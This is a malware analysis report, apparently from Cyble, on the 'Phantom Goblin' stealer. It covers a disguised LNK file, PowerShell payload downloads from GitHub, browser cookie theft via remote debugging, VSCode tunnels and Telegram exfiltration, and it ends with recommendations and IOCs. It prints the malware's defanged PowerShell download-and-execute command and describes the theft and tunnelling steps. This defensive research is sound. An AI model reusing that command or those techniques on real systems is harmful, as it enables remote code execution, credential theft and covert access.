Phantom-Goblin: Covert Credential Theft and VSCode Tunnel Exploitation
一种新型恶意软件通过伪装成PDF的LNK文件传播,利用PowerShell从GitHub下载恶意负载。该软件窃取浏览器数据、创建VSCode隧道以实现远程访问,并通过Telegram外泄数据。 2025-3-6 08:1:26 Author: cyble.com(查看原文) 阅读量:20 收藏

Key Takeaways

  • Threat Actors (TA) use social engineering to trick users into executing a malicious LNK file disguised as a PDF document, leading to malware infection.
  • The malware then leverages PowerShell to download and execute malicious payloads from a GitHub repository while ensuring persistence through registry modifications.
  • The malware extracts browser cookies by enabling remote debugging, bypassing Chrome’s App Bound Encryption (ABE) for stealthy data exfiltration.
  • A malicious binary establishes a Visual Studio Code (VSCode) tunnel, allowing TA to maintain unauthorized remote access while evading detection.
  • Another payload collects browsing history, login credentials, session details, and other sensitive browser-related information before exfiltrating it to a Telegram channel.
  • Stolen data, including cookies and browser credentials, is archived and transmitted to the TA’s Telegram bot, ensuring covert data transfer and persistence.

Executive Summary

A newly identified malware strain is being distributed through RAR attachments, using social engineering techniques to deceive users into executing a malicious LNK file disguised as a legitimate document. Once executed, this LNK file triggers a PowerShell command that retrieves additional payloads from a GitHub repository, allowing the malware to perform various malicious activities while operating stealthily.

The malware primarily targets web browsers and developer tools for data theft and unauthorized system access. It forcefully terminates browser processes to extract sensitive information such as cookies, login credentials, and browsing history. Additionally, it leverages Visual Studio Code tunnels to establish unauthorized remote access, allowing TA to control compromised systems without triggering traditional security alerts. By disguising itself as legitimate applications, the malware effectively bypasses detection while exfiltrating stolen data through a Telegram bot.

To evade security mechanisms, the malware exploits trusted tools like PowerShell and GitHub, blending its activities into normal system operations. The stolen data is archived into JSON and ZIP files before being transmitted to a TA-controlled Telegram account. This stealthy data exfiltration technique makes it difficult for traditional security solutions to detect and block the attack. For tracking purposes, we are naming this operation “Phantom Goblin“.

The figure below shows the overall infection chain.

Figure 1 - Infection chain
Figure 1 – Infection chain

Technical Details

Cyble Research and Intelligence Labs (CRIL) has identified malware distribution leveraging RAR attachments. While the exact initial infection vector remains uncertain, it is suspected that these RAR attachments are being delivered via spam emails to target unsuspecting users.

The TAs behind Phantom Goblin employs social engineering techniques to trick users into executing a malicious shortcut (LNK) file disguised as a legitimate document. Specifically, the RAR archive file named “Proofs.rar” contains an LNK file named “document.lnk”, which is designed to resemble a PDF document. This deceptive naming strategy is intended to lure unsuspecting users into clicking the shortcut file, believing it to be a legitimate document, as shown below.

Figure 2 - Malicious LNK File
Figure 2 – Malicious LNK File

Upon execution, the malicious LNK file initiates a PowerShell command that retrieves and executes a remote script from a GitHub repository. The command is designed to run stealthily, leveraging PowerShell to silently execute the script, potentially facilitating further malicious activities.

  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -w h -c iex(iwr ‘hxxps://raw.githubusercontent[.]com/eagle-1337/x/main/x’)

The PowerShell script ensures persistence by adding a registry entry under HKCU\Software\Microsoft\Windows\CurrentVersion\Run, allowing it to execute the script from the GitHub repository every time the system starts. It then defines a set of payloads with filenames resembling legitimate applications, such as updater.exe, vscode.exe, and browser.exe, and assigns a base URL from which these files will be downloaded. These files are Go-compiled binaries that have been packed using UPX.

The script checks whether each payload already exists in the system’s temporary directory. If not, it fetches the corresponding file from GitHub using Invoke-WebRequest. Once downloaded, the payloads are executed discreetly in the background with no visible windows, ensuring the attack remains stealthy while maintaining control over the compromised system.

Figure 3 - Malicious PowerShell Script
Figure 3 – Malicious PowerShell Script

Updater.exe

The Updater.exe file attempts to steal cookies from Chrome, Brave, and Edge browsers by first checking for any running instances of these browsers. It does this by executing the tasklist command to identify active processes. If any browser processes are found, it forcefully terminates them using taskkill.exe. This termination ensures that the browser’s files, including cookie storage, are not in use or locked, allowing the malware to access and extract cookie data without interference.

Figure  4 - Tasklist command
Figure  4 – Tasklist command

After terminating the browsers, the malware launches a new instance of the targeted browser using the default user profile directory. It runs the browser in headless mode, meaning there is no visible user interface, and enables remote debugging on port 9222. This technique allows it to bypass App Bound Encryption (ABE) and extract cookie data without user detection.  

Figure 5 – Launching Browser Process with Remote Debugging Enabled
Figure 5 – Launching Browser Process with Remote Debugging Enabled

Once the new browser process is launched with remote debugging enabled, it begins collecting cookies from each browser and saves them in “%temp%\cookies\<browsername>_Default_cookie.json”.  After gathering the data, it archives the entire folder into <username>-cookies.zip.

Figure 6 - Console Log
Figure 6 – Console Log

The archived file is then transmitted to a TA-controlled Telegram account using the sendDocument method of the Telegram Bot API. This allows the TA to remotely receive the stolen cookies without direct interaction, ensuring stealthy exfiltration of sensitive browsing data.

Vscode.exe

The “vscode.exe” establishes a Visual Studio Code (VSCode) tunnel on the victim’s system and exfiltrates its connection details to a TA Telegram bot. This enables unauthorized remote access while evading traditional security detections.

Upon execution, the “vscode.exe” first checks for any running instances of VSCode by querying active processes using the tasklist command. If it detects “code.exe”, it forcefully terminates the process using taskkill /F /IM code.exe, ensuring that the legitimate VSCode application is closed. This step likely prevents interference from an existing instance and allows the malware to deploy its own version of VSCode without user detection.

Following this, the malware executes a PowerShell command that downloads a ZIP file of Visual Studio Code from its official update URL and saves it as “vscode.zip” in a temporary directory named “vscode_temp”. This approach helps maintain the appearance of legitimacy by using a genuine copy of VSCode while allowing the TA to manipulate its execution for malicious purposes.

Figure 7 - PowerShell Code downloading VSCode
Figure 7 – PowerShell Code downloading VSCode

Once the download is complete, the malware executes another PowerShell command that extracts the “vscode.zip” archive using the “Expand-Archive” command, placing its contents into the specified temporary directory. This prepares the extracted files for further execution.

Figure 8 - Extracting ZIP archive
Figure 8 – Extracting ZIP archive

The malware now initiates another PowerShell script to interact with the extracted VSCode binaries. The script navigates to the extracted VSCode directory and logs out any active tunnel sessions using the command “./code.exe tunnel user logout”. This step ensures that no pre-existing VSCode tunnels remain active, likely to prevent conflicts or avoid detection by the legitimate user.

Following a 10-second delay, the script launches “code.exe” with the command “tunnel –random-name –accept-server-license-terms”, redirecting its output to a file named “output.txt”. The execution is performed in a hidden window to avoid raising suspicion. The “output.txt” file captures the details of the newly created VSCode tunnel connection, which the TA then exploits. The figure below shows the content of the output.txt.

Figure 9 - Content of output.txt
Figure 9 – Content of output.txt

After another 10-second delay, the script reads the contents of output.txt, which contains the victim’s VSCode tunnel connection details, and exfiltrates this information to a TAs Telegram bot using an API request. The bot token and chat ID are hardcoded into the script, allowing the TA to receive the compromised tunnel credentials in real-time. By leveraging VSCode tunnels, the TA can establish remote access to the victim’s system while avoiding traditional security detection methods. The figure below shows the PowerShell code responsible for creating VSCode tunneling.

Figure 10 - Malicious PowerShell Code sends VSCode Tunnel Details to Telegram BOT
Figure 10 – Malicious PowerShell Code sends VSCode Tunnel Details to Telegram BOT

Browser.exe

Browser.exe” collects a wide range of browser-related data, including browsing history, visited websites, login credentials, tracking data, session details, cookies, downloaded files, form inputs, personalization settings, and installed extensions. It targets multiple widely used browsers, as listed in the table below.

#Browser Name
1Google Chrome
2Microsoft Edge
3Brave Browser
4Google Chrome Beta
5Chromium Browser
6Opera Browser
7Opera GX Browser
8Vivaldi Browser
9Mozilla Firefox
10Yandex Browser
11Coc Coc Browser
12Sogou Explorer
13360 Secure Browser
14Arc Browser

Before collecting browser information, it forcefully terminates processes associated with the targeted browsers using the taskkill command to prevent file access conflicts and ensure unrestricted data extraction.

Figure  11 - taskkill command
Figure  11 – taskkill command

The malware now extracts various types of sensitive information from targeted browsers. The extracted data comes from files such as Login Data, Cookies, History, Web Data, Preferences, IndexedDB, Session Storage, Local Storage, Brave Wallet Storage, and the Affiliation Database.

Following this, the malware organizes it into .json files within the %temp%\results directory. Each file is named following the pattern <browsername>_<profilename>_<data_type>.json,  as shown in the image below.

Figure  12 - Stolen data
Figure  12 – Stolen data

Finally, the stolen data is archived into a single ZIP file named %username%.zip and then transmitted to a Telegram channel using the sendDocument API. The exfiltration process utilizes Telegram Bot ID 8105027522 along with an authentication token. The TA also generates a logs.txt file in the %temp% directory to record all activities executed by the stealer. Each log entry is prefixed with the marker [goblin], as shown in the image below.

Figure 13 - Stolen Data Exfiltration
Figure 13 – Stolen Data Exfiltration

Conclusion

This malware attack highlights the increasing sophistication of cyber threats that leverage social engineering and trusted tools for stealthy execution. By disguising itself within a RAR attachment, it deceives users into executing a malicious LNK file that initiates PowerShell-based attacks. The malware is designed to steal browser data, establish unauthorized remote access via VSCode tunnels, and exfiltrate sensitive information while avoiding detection. It terminates active browser processes to access stored data, uses remote debugging for extraction, and archives stolen information before transmitting it through encrypted channels.

Sigma rules [1],[2] to detect this operation are available for download from the linked GitHub repository.      

Our Recommendations

  • Avoid opening unexpected RAR, ZIP, or LNK files, even if they appear to come from trusted contacts, without verifying the source.
  • Enable advanced email filtering to block potentially malicious attachments and ensure all attachments are scanned with updated security solutions before execution.
  • Disable or restrict the use of VSCode tunnels for unauthorized users by enforcing strict access controls and authentication mechanisms.
  • Deploy robust endpoint protection with real-time threat detection to identify malicious processes, such as PowerShell execution, unusual registry changes, and suspicious file downloads.
  • Restrict the use of PowerShell and script execution on end-user systems unless necessary.
  • Implement strict browser security policies and access controls to prevent unauthorized debugging and restrict direct access to sensitive browser data.
  • Monitor outbound network traffic for suspicious connections, including unusual Telegram API activity or untrusted external servers.

MITRE ATT&CK® Techniques

TacticTechniqueProcedure
Initial Access (TA0001)Phishing: Spear phishing Attachment (T1566.001)Malicious RAR attachments containing LNK files might be delivered via spam emails.
Execution (TA0002)User Execution: Malicious File (T1204.002)User executes the malicious LNK file disguised as a document.
Execution (TA0002)Command and Scripting Interpreter: PowerShell (T1059.001)LNK file runs a PowerShell script
Persistence (TA0003)Registry Run Keys / Startup Folder (T1547.001)Adds a persistence entry under the HKCU hive in the RUN registry key.
Defense Evasion (TA0005)Obfuscated Files or Information: Software Packing (T1027.002)The downloaded payloads are packed with UPX packer.
Defense Evasion (TA0005)Masquerading: Match Legitimate Name or Location (T1036.005)Payloads mimic legit app names (e.g., updater.exe, vscode.exe, browser.exe).
Discovery (TA0007)Process Discovery (T1057)Uses tasklist command to discover running processes.
Discovery (TA0007)System Owner/User Discovery (T1033)The victim’s username is used for creating the file name of archives that contain stolen information.
Credential Access (TA0006)Credentials from Password Stores: Credentials from Web Browsers (T1555.003)Steals saved credentials from Login Data files.
Credential Access (TA0006)Steal Web Session Cookie (T1539)Steals browser cookies and credentials from Chrome, Brave, Edge, and others.
Lateral Movement (TA0008)Remote Services (T1021)Creates a VSCode tunnel to maintain remote access to the victim’s system.
Collection (TA0009)Archive Collected Data (T1560)Collected data is archived into zip format before exfiltration
Collection (TA0009)Data Staged: Local Data Staging (T1074.001)Stolen Data staged to %temp%\results\<username>.zip
Command and Control (TA0011)Protocol Tunneling (T1572)VSCode tunnels use HTTPS/WebSockets to bypass network restrictions.
Command and Control (TA0011)Application Layer Protocol: Web Protocols (T1071.001)Telegram BOT API is used to transfer exfiltrated data.

Indicators of Compromise (IOCs)

IndicatorIndicator TypeDescription
7d5ab794de22ebc90099273f96708bb378f9c7e87c9f902ed526a977a0791f36SHA-256proofs.rar
112aeabc6cc7e0cbc42e006c868ba538f39b50617fc652a129e399ae6005fa17SHA-256document.lnk
afd9fb1dd236bc64bff766b0bac741371d618981bbc96b4b586a7d4a1e148d14SHA-256PowerShell file
605cc564a0d25571f24791652ff8f47abf491104e0209cddbea7621b6c423cc0SHA-256updater.exe
a66faa1bb8aceffd44fc314f42d155df7440f4d979ae6e4cd1214a056fd3a12fSHA-256browser.exe
ea14b44eb179eba81a5c5d645355479b5061604c54ab02d982f49ee9bb811626SHA-256vscode.exe
hxxps://raw.githubusercontent[.]com/eagle-1337/x/main/updater.exeURLupdater.exe
hxxps://raw.githubusercontent[.]com/eagle-1337/x/main/vscode.exeURLvscode.exe
hxxps://raw.githubusercontent[.]com/eagle-1337/x/main/browser.exeURLbrowser.exe

References:

https://cyble.com/blog/silent-intrusion-unraveling-the-sophisticated-attack-leveraging-vs-code-for-unauthorized-access/

https://www.darkreading.com/application-security/stargazer-goblin-amasses-rogue-github-accounts-to-spread-malware

Related


文章来源: https://cyble.com/blog/phantom-goblin-covert-credential-theft/
如有侵权请联系:admin#unsafe.sh